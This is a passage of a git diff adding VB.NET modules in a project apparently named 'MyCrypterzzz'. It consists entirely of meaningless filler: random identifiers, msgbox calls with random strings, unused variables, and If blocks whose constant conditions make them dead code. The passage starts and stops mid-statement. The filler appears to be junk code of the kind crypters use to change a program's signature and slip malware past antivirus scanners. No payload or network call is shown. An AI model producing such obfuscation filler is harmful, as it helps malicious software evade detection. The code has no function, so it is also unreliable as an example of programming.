Sub + + + Public Sub lYtSoEvueopctSxjuIIYbgwAiGuvsEhvLMpsbOHsieLrNVGIa(ByVal RNTMLzJFxFMusXGvbZHmoxZtGobMmDWYYvKfAhGsePTjbQxJ As String) + Dim qNKqAyTYomHNSUNBChqWheCBSMehjtiiHNYgYuthuZrnsutHUX As Integer = 8293425 + 405958 + 405958 + 405958 + msgbox("LYVJzZhwnOGEmRPxMmeprtlylINWVIPTdvdNKafwuTIAywOcyaJMvmYddLzSVMXnFnWTtpchaqwXUbxDnzFOUmPlQUKfBUDdiCfqmlIZqXQRlhTfoDaJWMrwEoyWGRhoOXjoNwLPXSKxGowwioMNLoaBaWKHscdJfzdcexGsEbZdmZDsDINpuulnMUpzVgNcOk") + Dim GmdzOETWiKdSYLVUwPzcFHktto As String = "lWEcsyxicGFjQSwvmHpuVfJhbNQJXJpHbOnoStBGEbjaGIrJxR" + Dim RzXegSzNutnNHgPeinxiZPZqzL As String = "HmCPjCjzFXdLuvtUUmqgogQAQGmInOExEXNaWdgbQVtmDPElbzDtBqvleBrVRbOYO" + Dim mXlDIXGtCIBQcddrqQnHWIViggJQInpeJWpmYgORsHwByVZdImHBkdbU As Integer = 766371 + msgbox("QnYeFtpqEOqREmOgTpgPcyTamEFTIwXqiLYZqeIFHVxyywfZFkCPiXpOKdbBSHqUqPFeRmBNKivCvlaJwXCdAqZtVzDAhcyvRgZSSjGONJNKrnqsEbQPPfGvZCzCCorfcFhyGvXEhBRCMEwQetSpKqMSTBtCutMVgXWNwKXlNTpQroVOoipIPWeKsTYlIJIXfCLlv") + Dim aOMCLmQhEbHrosJogmBTONsTAxLElgIkprZHfOkEFyQZerHEpUGVPr As Integer = 9362423 + 517071 + 517071 + 517071 + Dim ExvYyhyCJXZBvRqQ As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim mpWzKUwrobQjZrIFhRoPheqHZMXcZkuzJxZYMYEZCkkBXkWxkIb As Integer = 6879251 + 918769 + 258966 + 258966 + Dim ECvkHbnhKBddhUeQIifEfOBMJoFdocXofwsGIeJYPzqRhQaMbkgU As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("GZcgcbpGnGgIPmRVcMRQZoprZRmWaESNWVSdosvYaZfsPbfhmFTGITMqVqcQCsrZkiUlMEyDmLvXDwzphjVkfzJbzZAVWFclvlsisqBJbZLEZqtZaODUhePfcfWtzmsOpSButgChZXlWxqkfSLzZibeVFwYkiLqIzRWkVEWMPHOpgWtwqZEQoSWnQZBJgGqGHjyTijfoferY") + msgbox("ZROlZIffcyWasPCLPaDWFyMWnQaBGBIoqQbYtEalhVrDvAICOEhosWlaDmDluMyKJUkfQFVGGESyzohLEKYpcWEHHzfQoBETMtDETrLmUJPQSVWtImVLZxcnIPehptsKZClZCQVPLJqLQfoCQaVVnRkYfKXBuUpOaoNSGdIGpyytG") + msgbox("RRaxSqhAEJGAtjOwUfMBSKVyVlzxWxqTukTXgrMRmPdTsfybbTcOxQPcwRexFtDVQijsVaEJGYFhRNjOZtulOZNHigTgzXjgbbfjGgqcHxvSmWFKKUWrmaypYtabZVQAXbOZJzHZlCHDXutQcLPKnICbOUGIAehgyztpzSiBnCyNtXii") + Dim hpyjPLhczKJjdlzWEJvELmakRkwjrJzZtvUiUaYGLmuhdOpgmaEIFiC As Integer = 813476 + Dim hcJXeEnaQSroNfERuCGVTgVgmxYbyaJdkEXBqaGWeeGEsNqxfJkimPKu As Integer = 753618 + Dim JGnkncMHyeQYYqhqkdWeNYGZrGPvFAmXDnxnZbiknqqbqPgdZFCCxLVG As Integer = 606360 + msgbox("dfKVKIMUKjbNiNDAZrSObWjLHcrevuxznUheFOapXgeXFCTEMgyeGFUvgUOMCMlNDHZrfSjWglfqOelfpgDYkeWtNxXlLpvZmAQXddmJeLwQTYcfPesHhAXtCGVXOxeEFYKydvglVUcIlrMPAGFhQZfkhENnoxxsHJgEAKzEYhsmWWjsczaGndTyFGLIfitnUnRPJ") + Dim ieZaKCExSWkkASJDTCxVnuivjKpUhJXATcxCBgrFphHcoGkBzoBXoXF As Integer = 7602295 + 993924 + 993924 + 334120 + Dim kHOxVdjCXlfTVLN As Integer = 4806635 + 703338 + 534970 + 534970 + Dim GCpnEfwAdkVlRClvdIMGBqUbWw As String = "VscsaqRueNFXaBYfbgzXEDfxjFJUJdQlHyXZgZJjFBrIjhPBYKFbWJoxLwRxWB" + Dim tQIqNskvqdZEQDDSqpYcPcxMxbPWyCQAgFYqdZyhXCrinJWGtgHKRWQ As Integer = 703541 + Dim uxxHunOGOtW As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim tYjFpNyWVvnCsrUKcjZQIEhyGn As String = "gOGxPEuPqWhmXrtEiofXEGpRSvyXQPKumsPeCFNoXOA" + Dim vXIVJLOzsInvP As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim aFELOjsbljjpzuHNLdROkqkzNPHTQnIUQuZVVVqzMUnpIpKohTmiqia As Integer = 800723 + Dim nQPvEVDfIswkGeEUqUNPANdutAeOhLjKfRbSQDCryDVxLmTMAZtlvBrU As Integer = 653464 + Dim RgBWBrmcKykljoqITuGXGDbmzYbRhURWFFJEiBxeGCusLPrPRtWmaGnpZx As Integer = 9740290 + 556347 + 556347 + 556347 + Dim vTosoiXUfHXZUsSsPS As Integer = 5324789 + 757196 + 757196 + 588827 + Dim CzNtjaqNiTAcZKqUURGkDqaNXq As String = "IxvWTuZfQENiQnXhukrFweYiGeqnlTBjVFfrfxHLojWMQaqkT" + Dim tsNbuMGFznMriSwjiMPbXuNBPJLssjYIAKFynhyBioPgmCWlDSoI As Integer = 750646 + Dim HCYLkyJsguaszx As Integer = 909288 + 1158894 + 1158894 + 1158894 + Dim zKGCyFGQmTvSagnRTtixoHdMIX As String = "IxfmaWyiGpaQTZMwcOKNEUCbFzbaJvXoTftSXOTZWXooRe" + Dim xHcsCCbEKTSUEZAkdDanxZnkWaenoFISQfWSGIGZWQhMWudoEJEPaPwX As Integer = 672161 + Dim zhxmsAPdDgxRuBVPGFwdCVCRfVWXsHvFmJwvylyJMwZTkkxvhXHJZPrp As Integer = 524903 + msgbox("uCMExFejZmNTiojfjvztbXLrydzWfeQaZmfdnyGlcFVAPLPxDRoKUOakGnPpiuxuVmTHbKrWpKhntEtgnKbvWrqovRlCSbugdPiRjcUtFRDGpIEifoVZCwpEMdWjFMplskijfqXDVmsiYLfEcRdZgREjzmeNQrQLJMalkpiCfmIuQDCvYJHXfqT") + Dim OrhmCliuHAKLiQDcHmYfYYUivaVVXlcGUBYzGCBrOktyUZRcHR As Integer = 6706274 + 900790 + 900790 + 240987 + Dim NDzeYoEzbDLofeafVhHeCNEkKfrKi As Integer = 3910614 + 610205 + 441836 + 441836 + Dim dcYPVyigzsQyVYyjXFFYoOVMZL As String = "oTVgKNabQwqqVuJPZJhkCTVgpkrVVHBdzeRthCsojxUqBqSWwJNwxkKs" + msgbox("yikSaYMFZTobCBjXiRYEucZQgJMRyTTEadgHISLiCkVflLTUhvKarNgsEpqAdnGrKrMlEqgvnIinesODVWitWRNTSbCHpMGdtGReIcVcqIKdunGrFQDUgULEOebmsYEfuiwHVDDrHdncwmztOCMrTCevFGqKcGDsbfepeCgjCbtGXYsDKmmeWRnHPVygrFLDEpyYHFAoLEjNepRIdECeucbhPsVtOKgoPHDszckhovgHnrdXjpghTMGwLjyDFVwxTGZbNz") + Dim jCdVInUVxOWkFzumVeFpdhZMrTAimVwMPCPcUyIPZFrPdlasVvCIxHE As Integer = 7775271 + 1011903 + 1212752 + 1212752 + Dim RXQShYpameVIglvFhRPZLkDph As Integer = 3359771 + 552949 + 922167 + 922167 + msgbox("MoOctLMHyZuCtLgKbEraFHdtkhVaVvkfbfpEEGpjkQWQVZIhHbgrEULnarALoQwefNDffWSXylbGgAIxRZDYTzAXHoeOQXMbBHsnVDLfSDzGaltQhVvDytMFHuuSEKxfRjyLdwhPSpfxHZfudizQwxJtBelFDYPyBOJiFwvkaQFOaNhrijCrPFGwSNsJRKen") + msgbox("bfBiOVgBzCeoCLTvacerIUoPxqRVYskKqCpFhJqybSEGbJOoCRvmrSCHTcKpYTcUBxWNIkAJaaOfrvIsgCXNQbiFgKyUWDqrSpTZfWgbEbHvVQdUvPdqffoFOKSciMtOsnRFAaaYUHdnYcsmTcxVjnCAQncMnXqnXjPDhKrSHmQwkWShSYbgJveUMyGCmLQscVCutNNLLfaAbomHoRZyasDMwDLaBRAcBNmGHaWEaAQZTTjPbYyyDRFgQSBIA") + Dim FozFGseGyxeVRQQuFhrIBsRboUgNCYCIrcOEbwxsHaCNJwZDgLBdx As Integer = 2496439 + 463213 + 294844 + 294844 + Dim epkHNnIpLMskzpqEEwUkjJnTZWHEyXz As Integer = 4428768 + 664062 + 495694 + 495694 + Dim RibcHDFtSIrmoEoGQjfxxcumCLQRpfaCDknATbNiGUaiKNtviacwotgV As Integer = 669190 + Dim cHcyIsyQfWpVolpEGumyYIUyvkapKrRmJeMsfNdJHYmTeRobXvrPjvEG As Integer = 992114 + End Sub + +End Module diff --git a/scode (MyCrypterzzz/winini/RjDTyqqtbLiaQDnVNeSU.vb b/scode (MyCrypterzzz/winini/RjDTyqqtbLiaQDnVNeSU.vb new file mode 100644 index 0000000..a5306dd --- /dev/null +++ b/scode (MyCrypterzzz/winini/RjDTyqqtbLiaQDnVNeSU.vb @@ -0,0 +1,157 @@ +Module RjDTyqqtbLiaQDnVNeSU + + Public Function PEjJOtRUKdHdMJTuYBVNIuLwNbrlGRVPhOPlUJURLEqoxBsSYxygwuSKRYVrMfnnoVSLxXqTHIGRrebYmNfBubnwSunuqnkklTGpYEUKzjRVYKIuRteefNKnQlIB(ByVal ackfPiLsXqFMMqUs As String) As String + On Error GoTo XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH + msgbox("biGUCXzJgytfbCYZxiLjREhjqRxtHuzqZjSmtLpZhFrbJkkQzEUruQIWgoExazyyfZbZpBmfYFXoJfUzkmIXPPlRLDvZdqrvxxoQOfKFuZBJRJFapkDVECiDzuePBWtoyTIwfSnqNrPcNQemlECKylRFRlJLLbehOlLXzUAvVyDmKCqlqkUZJuQhPGODPXU") + Dim sxzQhhrGYkPBEHSwPrYOXGklEj As String = "kewJBPDOXHTymXPAYxrVTGySnbNKSfnsOcHQPcGbUPEYZcvWYL" + Dim zKDGTAuytPCIZWwvLeohWtTrR As String = "necRGkrhujPQrCsvZAZqmiVhldbAmZINnSzluhKBOpDpGabBNGldfVLJfIzIJJr" + Dim ARzBIXFfBUBvEZQhVMAwerGGhvOgafmzYlbUHSzLUfSyqfrUKnluVPvH As Integer = 766371 + msgbox("syOTNgIcapINadgoZJVpZNInNUkZOumHKksROrjYOnRYeKKeXJnfgOuJIFQacEOMwaWcppLemwGHdRbVfqcPQqRjEBZGPCmlkXwOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdkGMuUICnMZwXAvmEHfdDBnydkbZoEaWaVPDrwWsLtaBkjfY") + Dim SoosdFGIuiIKcdDoNWjiiNVwlsbGlMaGMWqqdaqVHpAocaXzXSZTAjjd As Integer = 9362423 + 517071 + 517071 + 517071 + Dim HdKQsornkDrcPeXW As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim oTNJdKaivKcWtuleGZELLVwDpcHkLgIMHXBoTaxufzFKAyuyg As Integer = 6879251 + 918769 + 258966 + 258966 + Dim vIZUTHgyBLesVNzNgiCeMImBgKKLaLQdiZjTxxjYdawGgYtBsJmih As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("JMKDjsPQhKvlvKhdVnCOnbchUpdWnlwMvoZdJZBFNSVTXAxaJoBQnPEjTYfEWnjXzZZJclPdGBdQUtRURvtCvqbLGHxFNcVwXPYDSvtSNHilNKfutFrgmbiwhjshpZvSRElTGZbGjfykeTcisMKLprPWzChsdAyUjocPStDbXRoWvrvTQKOygHJVKEcvEaSjaOJwgXMMeKSDn") + msgbox("MvkDKoGEdnIOVLEpFcBWHwlwBPpfkXGwhAgHJKVUqdkuWmYxXOQOGaEviuFWdykXSPwPTtjxyhsNwVuUBrecArEuiDGpLtcMBOFcWRWRujTlUXVmENbGJdEIDOPxkZauOkIQHBkXsrqjecEwulgWVUGfHiHRqYhSWljBQhZLGNkdQR") + msgbox("QBiTfKMjqXKvDHCrFtbedcaqefNDecrVWitTgGXzDLPQjqRxjKPDoCjSnkBfWlOMbccNKjDQYnRJHMhQsClqSilcJRWaWhjXoMErytyKfkPFXsJmyKiyWbkCscMTwPSOttemIKUPqXKXuqaYISOVFTSmabwyDTIRIlQWQLSDWEQic") + Dim JgoaorWzLCUZllKCbFpNGuvdbEagzvcFvRDduaPjMkUkZNBIUCXozxqo As Integer = 813476 + Dim YimOObVgUCkbhhFzSZtwEvwEusJOhpDsjoLRjnfVsImIRnJZmjPpGoQy As Integer = 753618 + Dim yTfOIBQbgNymjLzNiyyscfXWtdxCuKMAwfnVmcqoiGJjMpFNsMLsbHy As Integer = 606360 + msgbox("zaIYAYWaiYrQVvozEDwsmkiIgljziPGRuEhbTjutOZNcFkqlVaWycjTvmStDXxKCvanvCLeqVHDvhKvYwdOPzCNTyuhiurqVMSvUjHVfNwiJiYbrptgloMqYrVdjzslzGcmwYNbyWWIsbzHMmglUxLbUmcdWXNMRSBnWLDtjGpgsUogQuxSidEqwHYWrMuNWdoLuX") + Dim jaRHUPVmLIHzWojWPCnvyupMufPxOLbVoLOJgZJZseyKmDJolRAhOYZp As Integer = 7602295 + 993924 + 993924 + 334120 + Dim chrmnwZcOrgmIxH As Integer = 4806635 + 703338 + 534970 + 534970 + Dim DbIRCuPaEQfykqWtICBUsdGZgK As String = "dbRmNuFHNkkfRPgyCwkFwmBwIEMyRvstdlGPrVqJbgdyOOMTCNiLYbfbUPuDmf" +XVeEylMfIRHspUOuiKwvvqPUvjTVNdFMBrnEPsePtjjgUBImZbcLUEUYghHH: + msgbox("cSbUGbZKqahqGTCzjmDlOqXtFdjBRFkZpXjiDaQjhKDEfzvDMcKlGjleTeMdJPucQleRlgvYHwOcYZRcReKqLHHUdGSZOICQUUoxEkCq") + If 391134 > 1105037 Then + Dim jdoYgvcJosoYKRGcLFnFZngGr As String = "nZoHORNrCmyEPJQREadLnlXFeGxmefKLpMqKcCWTHKXFnLDXcjYPFtWvCEDbumpUMFlvID" + Dim THGZvlzVuudiUqivNhMSmFPzef As String = "RWenWNxQACKxNDGcfrhhblPChiqmDILAxfxvPmPoEXKLdoELtJHbqDmQxZJBxPfeINIlVj" + Dim LCSVvTRrxkRHHsukHLueFhwpjZ As String = "qNNXjModYkHhDdmYBqClBqJFoHpjuWOXMhCGXaOPhInh" + End If + Dim KptmosXxfSUFbiSlPlUOrqVgtkxjxwJXWUNGzIkgKgOOWlxlzdHKbORx As Integer = 302132 + Dim fycGGyHtiKETVYDVcYzGObMvRAgYpYBOlxDweFedSDFKKWbdQiQyFif As Integer = 154874 + Dim yreOidOpYHnyUWBEYDhpvRXuSB As String = "oSUglOclIFtbgPsJBHUeDhQorcImmmIOgldQIbEJaokaKyjDLFsy" + Dim GyaceWpBYGvLVuxMLKGnttXxvI As String = "knbFhSojTKSkGkzjpGfTUbtPjpzWyxjLUnXhHcGrPOegcvsgVvMTgJznoAxpIagbBH" + msgbox("aHKwvbYxbyfaPkiwYxkfRDdexpteYqMMUkwXNtXJcxjRoTFAzNSyMQvPgUJQTukvLinuCDClqRmWjFluRNHLmAIbyMzoRDEFphmJePrzIqqlNBzyQhDNHQsjnRtfauJtQtKIkQVSBwFqOZikBJjTaKoQMaaTkeNSLtBXBSIfHZfClUOFaRjSjXqsnfOqlmUpFYkaNSNYowYMbrbEJVUtshNvDLSyDEhppePbmextD") + If 6188120 > 846932 Then + Dim zDsxCbKYBYLTdNoFXgBlszRgo As String = "OLDjknIXYcvGwxaMPBERnjMmFHelWjhkJcByUGpTNZFbqFBCTEFDnqWkPPJKkZVQUhbZcbNWc" + Dim sTBHcJGcWWvoLCXMuFRigHoywl As String = "FYezJWQFEGQIDEBhGfcAXWnXIfipJduvbhgIleeHXcVngJLWaBYjJIypMDOxmrMVZasDSjOJDZ" + Dim UqWtvHCccZckTUstrUOOLQOqS As String = "LIwZOquJhYtmouTJuZyQtiTjWQelaobProlSysUrNwhSDmthMTHeRcaCkbeFqZsWNRrvrj" + End If + Dim jzNOSjIpQbojnISzFensWeTFc As String = "vWGZYxJfZqgyOKAOEnifcXlQYhrqHdfMArRfQtfucNaOTB" + End Function + + + + Public Function mQkuHGSpCoiZaFqtEaXhxarbRcYiEEnSgwEzCqEOeLFkGYCIKBOBFDBMOVqsvVKhwZtHBdtsGvEezQEOHQBwypCnFrkhHqlwXjEORbNuXahBVpYgkClNppVXgZIy(ByVal MBeuBgNkPzwkcjjG As String) As String + On Error GoTo tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo + msgbox("sieUMSApTQARTgapTtPKKUtMxoEpBgjtYdSleZvLmIlfXsWKiZxjVqcYexVOCHSFvrjOKqXwdvvgXcMJWvWukKdszCKjeTHPjVQKyuDkYfblcLScSJjENDTJqFSNotVOVSInEKIPHPWGuVHDCPedLySMmImRpHeoniFLjQGZLzcIhhCaLQDgmWvpUNQIplE") + msgbox("yBILXUqORkNJNTLXIqiEflbEGopMyavEEaOLLjGpbCcOFZtZENrmAWuBDtEJiDmoZGTrjdITfXnBhkNBSgaWvqedlIejMLhxNqJlJoVqiHIWeSpvGxeEJPIhzpOsACrbGbJMwXenZnAlGZHhhShFgdjIJwjFnIRURVv") + Dim OBlmlEmZNOsJKeoCwfRuENJCqx As String = "UhDvwXfeSLZnhCHjZyNsgpNdcIFcRrMxrQxdDkpLplWcYDetT" + Dim hRrRkJazCfHdCasRUKIfWvTFlyiJqLYVuPgIUqFrRUUBlbUIIzBbcf As Integer = 750646 + Dim wSvceuGfawnkdB As Integer = 909288 + 1158894 + 1158894 + 1158894 + Dim hTiEwIcrgWAxCLhJGuPgyDoOsE As String = "DWrYnNrSiGpEESrxfdKKKDxRodHFowERMZxOtPgJhrmwUt" + Dim WSTlTZUdQWWJjDfjSofeGMJMQbuYjYJfdHbjLoErbqTCsKSELzelfMsH As Integer = 672161 + Dim QtIDygDFojhSPZUuihQJqYOPpsUUXRtUPVBziHamGyrgBmKkcIVEiKJF As Integer = 524903 + msgbox("kOyPyMAhsFGWZaMTHDwTGFKfauJDNZHKHQVQKHPtLQNkiQWqjbOHXLapnrSTqaBhUpRXDnlptIUOBBulJVhDbSBbeKcuvINRIwZGburuKJMyNUgAnLXxBakEKbHXKZmcgPPHLdbYTvKdBXdygZEddlWmmQdpRaSdvUHPprmpdvjtxKftuozjrC") + Dim qJeGkEahdcMUjQoZcZJoVvMysSugDkGSteqdkEmljziTottWob As Integer = 6706274 + 900790 + 900790 + 240987 + Dim fFHGoPosuHo As Integer = 3910614 + 610205 + 441836 + 441836 + Dim PSBapEXkBLpaPgHASvLSvkfCbM As String = "JVuhlkXpwNcaCTBoVEhuTXCZVGCjYLIbmRQlUxxdrxLJBZawJALIfiqGto" + msgbox("rjpUycaaHrepyVwpzaUTjbTfoApwvSpVGwhQMQbqeGsmVEsVcSMpBUFjIlAVsQXeBxXMVuWGhwUMVZRoCJpENUsDISIlcOYBUoEwfjylEumixeCkCnRjoqhcCfmBcfdTORsZSExOvvGHbnntezHnGCNrrTBYSlePlZGIZIWJusrkVNxjpYZpYZcddPLaBNWlIryeQSsu") + Dim SwKhCSrQceLJJJRaKSQiggJQFIsdtfhMyDFWmxJNVnWqLMgbVqghvHY As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim dAwRrgFBUOWVQdkb As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim hUQcbbpjjhFDlHCKowyoLOHrcx As String = "qMPMdtBWEKgJViCllVKTlldkfiIpvJfttGbBusLWQseeZkGuyPZbCPCacqmypTP" + Dim mpLoexyMSbunJHyzWqByPxcrmpilexWDwIRwoZDsvdbiGKEpZKIhCXsS As Integer = 719266 + msgbox("uiaJYomwxTILqxJMkltVheUqrFprUwCGfOPsOqQJTkVruzPJBGWWfpbzeCQNHdccgNMPDGOaoPEWNTiePyvuVhDKZsbteSqtLnuugUiqYRkVllSQpVtMvnCSphxEawvjwoDmNZBlxqJDlSPofprroZSpgGOkrrNxVKJUpCpQxICmXclOFyVWFnveuwJiN") +tpvccjOebWPujBhnhlCNOmYsLzmQLDdtiekfXiUzDhGxvJctsXiCFkOPKo: + msgbox("axwgRiaDkkKhQNgOqjprOIFpoirQaycUtMdyWNaOTxFkqumfruqVZrYOlBgyWlMIxCrshzOComnkmPDAPQHoUFnHvCiauGkqtmYwcryTlJjMQyqZtjrOHDKoBeXBhtRLolZEYxDjyxsLqFYVQiwqBuSfsNBWzHioXgvMhaGTPkRccqfKVwXQRlkAHmVhJFLuiHpPThisZFHGoOlOxFXhQkqWkkidatczLvIHxbLcSoRrpiTAltxnPBKMPpoEOh") + If 2496439 > 463213 Then + Dim utXtxuCOSArmvyUzeuKMJQRkQg As String = "jlcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxi" + Dim bUikpnLMiydcxmfltoMqwwAzFd As String = "tEwKRvHjsdjuBurdZUsOKryzPIToAyVeHGZvp" + Dim ikvEKGyLEkgLPmtpyooKiOtWjR As String = "mqsTfcDrRUisxirrxFOSEuhQLiDHgwzSTqLNDp" + End If + Dim DWgYBkjtQibOXQbjUWjFmnzfMa As String = "AsUZNNECCqxEIwPFNesIELoHJGrBfrteFBbPSVFVfGvWXFfjzywL" + Dim uXwqtevviIcNLvPHNyvQDoAcw As String = "SnqrXvMFNzrLdWmyBCJFcxPVquZGHlleeJPHIwtNcocwsL" + Dim ekWpKswZiAGMrgInaHLwFESvQ As String = "azlWOoXQmTuZsOhCzkIVUJsJvbVCwtUIdKChGqULsVaWqD" + msgbox("LkzSSBEItvUcyEsbKHlHxKhPJtxjMNRHLXeHQIjZecHYtWfxyhhDJisrwcIOlBWhUvNwcnEgLlZnukrIhnzzgmZVoIronSEkHtimwGYCHLHXwIkkeNUxJkieHZfKNbYsuHZgTbzRpqkftGTELxbznsdsVPHdHrlfBXRepMpzdPtLirsyfBHNYRoBVFwPcbygvjGdCcsXPSJfmcKye") + If 9913266 > 1234129 Then + Dim iYDwTEMdNVfovnxmLXNIUAeOxv As String = "MiJfHBDPPEbJyTDjYMgjfcnUWZwMHoCMQTWRQdlGOzqDBOcMhNTsrtGwojDROQDuIRNswRjifM" + Dim uZqjBtgoZZBvNwkItHDTjlhvPP As String = "pIcvVWZwxNyyoRTEkBKFQSzmeKcxjzPgMIXdmSCcniTHbtSgFZphMjasqainLPbjJYM" + Dim YVOXnojzGCDawsFJhlqUORjyQE As String = "MDVdcZTJUzxezEMDjmRwzZSRiHldEbicykzUJEFatMMixbAehQLbXMmRKovcbHBwZNCG" + End If + msgbox("hAyFJFqZXMtEciqsmnuRMnixmTicRgxogEtVsOurWRjqdsZcPGethTNrDbpUHFobhNpVbLGxgAtgGKRTmHbxjRBYRDDCqNqwxlBlcWrslKoZngKSwHsFnYfuZMhBnukapm") + If 1945596 > 775176 Then + Dim qSPZmnpCFoklHmplZpWfrBMxnj As String = "caBklblmbXsUXbBzoaRXNghwsBKKcnmfdOlQjOspwpsVVaYaaRnZOOeS" + Dim qcNFanJACdcmjYodwrYPfVQSsk As String = "UmToNjnEMYHmDuZIhrrqxZYRPwzealZlSlJoDLDORKyOWwtWesRfedRX" + Dim VNxtzIhuOrQFXATVUrNxWJK As String = "OiFUUpXLXETUWxgUTegqCwnRBhwzmjYjDqFxvbUNLMwSdlQEF" + End If + Dim VGHrtIvCxDLXDBjMVoBAfBUtQ As String = "dLvuuadguMWxPzXXbVHohDUdoVVfhEsKVUQqnFFwLYDOnVtHcI" + msgbox("WTelJhaEzlsYqiDsjEtXIKKlqDWuFGpZWwHQaLtcuIEFrpGSQxJwXESxBjoRRlCYKXCHVUpfLdhCKHqHNBCCGBbWnBHyMcvuuZkycHIdHZvDdkDblurcsFeWHiwdZgOChcafbbukoYRxfcooqBMOQXNREcwlyDLhItqDeuOQzOZxisImAwuDkCJatVrfgIiAuKSnQDfv") + If 5810253 > 1176874 Then + Dim qQWyjlYSLObQPZtaKawNRHBJHO As String = "tekqIzLDwRYooHRjoKIRfgccGpDFSoTibtSCdXogiAvBIbiJmpSpRWmEVpGcQSrdEvwNSMi" + Dim MCZKxPrNozfhmBweTuIeezxNnJ As String = "ICbKWtVhAkZBSYyYgEJoCDlDnUhvhjHcfdTSyTYkLywvysKcDkVvKserYOsgVjHXJytmynJCp" + Dim kZwwpqRhGmGxbqTFdTsVkHMTiB As String = "NocfCpcpJdyZVEydNvLGtTCNoBQAGSVnJlCsDkQiCksnpj" + End If + Dim FigQGwBdJeqMUfEqqGWNHRSzki As String = "DiWkfXNxvgdkuIrckEMCQCKzQvQeprdFqTcjkxNX" + End Function + + + + Public Function YhpzYClGblSeWWKRfymYAWXLSuGSGqVanrsvdbfWEIVBTQIZIgWOHrfjcCvIKDDexoXGarNrDPmGMsAiriAkuJfjvYCVcUPhIqSinRGcfUSzRYgvdzoivUXII(ByVal BDCavZpYezCnqOXB As String) As String + On Error GoTo OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW + msgbox("XnPzyDGbctOlOElNTCWnLhUpYCwCTcGoaYiafiqykDkSfVrmUWroWHZiXVBQwoeuqezUQNqmEsesfzTJrrXUFYUQOWSHCgYukQpEvYHnxVZgBaUZyVqADNIjNPWxZlskVogzIzrxfsuDjfubDPZBCIpihGpGDmnLMHzYrXwKQTSeRxwMWjxsssSInG") + msgbox("KYmeOxXUWKspWhUwGgYqUQLUahVdpcnkQdKFDcnFNjWBuoTkfnVBlWhufZbSNqywDzrRyBhSnVcwhRVeBOYEmjsRKEfVDNwHFrcdIxbvfUEmqqvREJdPghMXwYeDVVCGDDNCoqocVkypfnNnVbguapLDZjSeVomiiotFyIrDtQFRGjufiRbKdlJwamqLNvUbZxPzwcEMgQUidHJjZhJZxwdrijvPERWaMhWzoXwrQkmCDidndYaBpxmee") + Dim jQGehYmkjdCIQupGKJMBCLiQfaGODSMLdEdsDgytYJRz As Integer = 6879251 + 918769 + 258966 + 258966 + Dim GaeSyaDgMmfcCpLiEkeYKCsFNKgQSALiGcNwZLPvVDOJVNrkfqyF As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("mcaGltwthmjvwwGlTIecpCvUxiDLtyMmXCjZGbIbqNiLYUQYWffDVguRZCABWOPZTroybrdSQriAlnrxpKsIcwwSkVncLoNXUovouyUUxQFRNLFTRmhrwniIiHrpdSrMGEbmOxKGBNzwUKSchMwtpphwJACdBkwLQVUWPuuKORoLbuSoacWnEeTGjkeJXSEtPlgpNv") + msgbox("IAwXxWcOpQtXzpYvERgUImqvcDfUjEdmNobxfJJcRanUPVFddetbyhIjkEIImKyIQErNHaDVUszvOOqZkspjDKjbSIWUYvMKnFclxamPFjhjBBdJpDdEixnOCJGGulXfPHZnNNYNqolRQUmuDDNyFXsNPmYHkibkElDImnHeiiiipVK") + msgbox("yOyXBHUSxiOfjLbQYYMBKmYJJzhGQGzKBMwizdjYhkMKZMgSWeVkSBcEHGNQjHVRTDzoibtfAKrCBUprrpVhiknqtISOylZnCFkOWWZodXWGGHVQYdDwLuhoIpywWynvrACDeXBTCGERCjyLGbTXPnlTphHKTDlIdWDCUlCqNrpfDHzweRUFIYcAcUuxCJxwyBqGIVDazOfrZjBthhGrGJhFKjOFoWwhrYQLHjfrAEbvdX") + Dim KZjqXuHcGbcneFNddLEwNEtbhfexCdRCAKzcRypCTbSBlyrQvYUleuww As Integer = 813476 + Dim hhdtuXhVPazDbaFiGmhcJhvGdZdnGbaBSGIwISvlyknhCJRHGZDNHegN As Integer = 929284 + Dim EluFVzVlPakjLcTSHBSXGkvRAiOmkKJhOmyVoDkIshXyzwFjKfVIqkY As Integer = 7602295 + 993924 + 993924 + 334120 + Dim ZquMYDmEvBRJNUSzTeSZlRyPjaXJPGXmB As Integer = 4806635 + 703338 + 534970 + 534970 + Dim UjdFghLSeFNQbzngabvGSUaEW As String = "laIRtqRwIIzGLIfhqJXlBYyqlfXqiQBNDDvRGZhIeWzkVBWEXiYRvqeazES" + Dim NQsXlpDIqzNfnfQvkXwpBoWHjvrjBLKDiHJGliuSKxyjtJrdnVGliqo As Integer = 126466 + Dim UMqJeoGpQzV As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim OGAlSTDSPPJcVEiuNIzclrCSZE As String = "qVgUfROaSGBEQSPnMCCSGdICFsCZiiUXHRMaU" + Dim keGTlXHpNfgmc As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim cmpKzeENSECMCSWnoekJlJTiNSoDZVcLtFLGfsUedClHafMOQrsqoYF As Integer = 653464 + Dim tdjHFMxvSwjXuNNTPiNrnBMxWHrhJiFddPDWAEcbMIRXdRGCSRGPHlG As Integer = 653464 +OBYqmMWVjZfTfWtePpskxyHbgttOszTWakQiBusximNGNrecDZmCuOnGcwNW: + msgbox("UNnUnmqxBQEPwGRotNNPsEuVhYeyRezqwiUqTLUIkUcqdhhRrcusiDdUfrqREqmHIOkbToydCmYNjwtRjWBLRoRSwSqgPyzKYsQdillkXHYiJNKRrjOWmZTpAqNtsQvaPLuxIOqEQSMBAxoriDRZqZqNOzoHiHifFFkonTODKVWCMmUfUsXXBqPGjBVhmUBQetVXfoGWisJWObDXYScWbVyhjnjSNNohzZxgfGsrhTSpaoXzsKBxGHKjUKkPVthreRdetjKzzYgg") + If 3392460 > 556347 Then + Dim 